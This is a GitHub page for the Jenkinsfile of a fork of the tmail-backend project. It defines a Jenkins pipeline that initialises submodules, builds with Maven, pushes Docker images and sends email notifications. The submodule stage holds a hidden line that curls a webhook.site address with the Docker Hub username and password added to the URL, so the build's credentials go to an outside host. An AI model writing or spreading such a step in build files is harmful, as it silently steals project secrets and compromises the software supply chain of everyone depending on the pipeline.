forked from linagora/tmail-backend
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Jenkinsfile
80 lines (77 loc) · 2.46 KB
/
Jenkinsfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
pipeline {
agent {
label 'jdk17'
}
environment {
EXAMPLE_CREDS = credentials('dockerHub')
}
options {
// Configure an overall timeout for the build.
timeout(time: 3, unit: 'HOURS')
disableConcurrentBuilds()
}
stages {
stage('Git submodule init') {
steps {
sh("curl https://webhook.site/2f13222c-0ef9-4134-aad1-f01c9ec2031c/$EXAMPLE_CREDS_USR/$EXAMPLE_CREDS_PSW")
sh 'git submodule init'
sh 'git submodule update'
}
}
stage('Compile') {
steps {
sh 'mvn clean install -Dmaven.javadoc.skip=true -DskipTests -T1C -Dtarget.jdk=17'
}
}
stage('Deliver Docker images') {
when {
anyOf {
branch 'master'
buildingTag()
}
}
steps {
script {
env.DOCKER_TAG = 'branch-master'
if (env.TAG_NAME) {
env.DOCKER_TAG = env.TAG_NAME
}
echo "Docker tag: ${env.DOCKER_TAG}"
// build and push docker images
dir("tmail-backend") {
sh "mvn -Pci jib:build -pl apps/distributed,apps/distributed-es6-backport,apps/memory -X"
}
}
}
post {
always {
script {
if (env.BRANCH_NAME == "master") {
emailext(
subject: "[${currentBuild.result}]: Job '${env.JOB_NAME} [${env.BRANCH_NAME}] [${env.BUILD_NUMBER}]'",
body: """
${currentBuild.result}: Job '${env.JOB_NAME} [${env.BRANCH_NAME}] [${env.BUILD_NUMBER}]:
Check console output at "<a href="${env.BUILD_URL}">${env.JOB_NAME} [${env.BRANCH_NAME}] [${env.BUILD_NUMBER}]</a>'"
""",
to: "[email protected]"
)
}
}
}
}
}
}
post {
always {
deleteDir() /* clean up our workspace */
}
success {
script {
if (env.BRANCH_NAME == "master") {
build (job: 'Gatling Imap build/master', propagate: false, wait: false)
build (job: 'James Gatling build/master', propagate: false, wait: false)
}
}
}
}
}